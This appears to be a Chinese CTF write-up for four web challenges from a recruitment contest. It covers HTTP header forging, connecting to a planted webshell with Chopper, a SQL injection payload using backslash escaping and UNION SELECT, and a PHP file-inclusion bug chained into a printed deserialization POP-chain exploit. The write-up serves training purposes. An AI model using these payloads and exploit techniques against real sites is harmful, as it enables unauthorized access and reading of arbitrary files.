本来想着招新完讲完题就不用题解了,但是看见有些小朋友还是很懵逼,补上一篇
WEB
web签到题
网址:http://xiaorouji.cn:2334/web1/
这道题其实考察的是对http头的各种操作还有抓包,首先进去题目看到一堆骚话,完了以后就是问do you know GWHT browser?
,很明显是要我们改访问的浏览器,接着是only accept www.gwht.com to visit this website
,修改访问网站,然后you are not the localhost, prprprpr
,要求本地访问,然后就是i only know Spanish......
,明显是要改accept-language
,出题人背锅了,这里当初谷歌的时候是es-es
,结果没想到百度居然不是这个,导致一堆不匹配,坑死一堆小朋友……….最后是You have not logged in yet
,改cookie就行,所以最终改出来的包是
接着通过抓包可以看到它会先跳去flag2333.php
然后立刻转去noflag.php
所以最后我们看flag2333.php
的包就能看到flag了
do u know 菜刀?
网址:http://xiaorouji.cn:2333/web2/
这道题进去首先看到一个假flag,但是同时还提示有个shell在这个网站里面
扫一下后台看见有个shell.php
访问一下试下
看到有个小马,接着就是菜刀连过去了
连过去以后可以看到一个flag.js
将它下下来打开看看,明显是aaencode加密
拿去网站解密出来是这段
明显是一张图片的base64编码,将它转图片
是个二维码,扫一下就出flag了
sql注入
网址:http://shifeng-kaze.cn:912/
先网页进去源码可以看到注入语句
可以看到它是在数据库选出一个密码然后和传过来md5加密的passwd
对比,如果相等就登录成功,payload如下
登录成功以后就到了第二关了,还是一个sql注入的地方,要去找no和name,fuzz一下看一下过滤了什么
可以看到第一个参数过滤了\
# =,第二个参数过滤了
‘`,所以我们可以利用单引号逃逸完成注入,最终payload如下,爆数据库爆表那些就不放上去了1
no=-1\&name= union select val from gwhts limit 1,1 #
serialize’s revenge
网址:http://xiaorouji.cn:100/web4/
这题在robots.txt
可以看到一部分源码1
2
3
4
5
6
7
8
9$file = $_GET['file'];
$text = $_GET['text'];
if (!!$text || file_get_contents($text,'r') === "hello ctf"){
echo "hi!"."<br>";
include ($file); //backdoor.php
}else{
echo "you are not my friend!";
exit();
}
可以看到有一个文件包含漏洞,利用php://filter
去读文件出来
拿到了base64加密后的数据后解密就有源码了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Flag{
public $obj;
public function __construct(){
$this->obj = new Safe;
}
public function __toString(){
if (isset($this->obj)){
return $this->obj->read();
}else{
return "go away hacker";
}
}
}
class Secret{ //fllllllag.php
public $file;
public function read(){
return file_get_contents($this->file);
}
}
class Safe{
public function read(){
return "it's very safe!";
}
}
$secret = $_GET['secret'];
if (isset($secret)){
echo unserialize($secret);
}else{
echo "your hat is too black!";
}
接着就是审计源码了,可以看到有个Flag
,Secret
和Safe
三个类,接着也可以看到Secret
类有个file_get_contents
函数,可以读取任意文件,同时也提示了fllllllag.php
,但是没有可以引发这个函数的方法,最后看去Flag
这个类,可以知道$obj
其实是一个类,里面的__toString
魔幻函数可以调用$obj
这个类的read
函数,因此最终的pop链就是构造Flag类,设定$obj为Secret类,Secret类的$file设定为fllllllag.php,最后序列化Flag这个类,反序列化时触发漏洞
,exp如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Flag{
public $obj;
public function __construct(){
$this->obj = new Secret;
}
public function __toString(){
if (isset($this->obj)){
return $this->obj->read();
}else{
return "go away hacker";
}
}
}
class Secret{ //fllllllag.php
public $file = "fllllllag.php" ;
public function read(){
return file_get_contents($this->file);
}
}
$flag = new Flag();
echo serialize($flag);
最后回到index.php去触发反序列化漏洞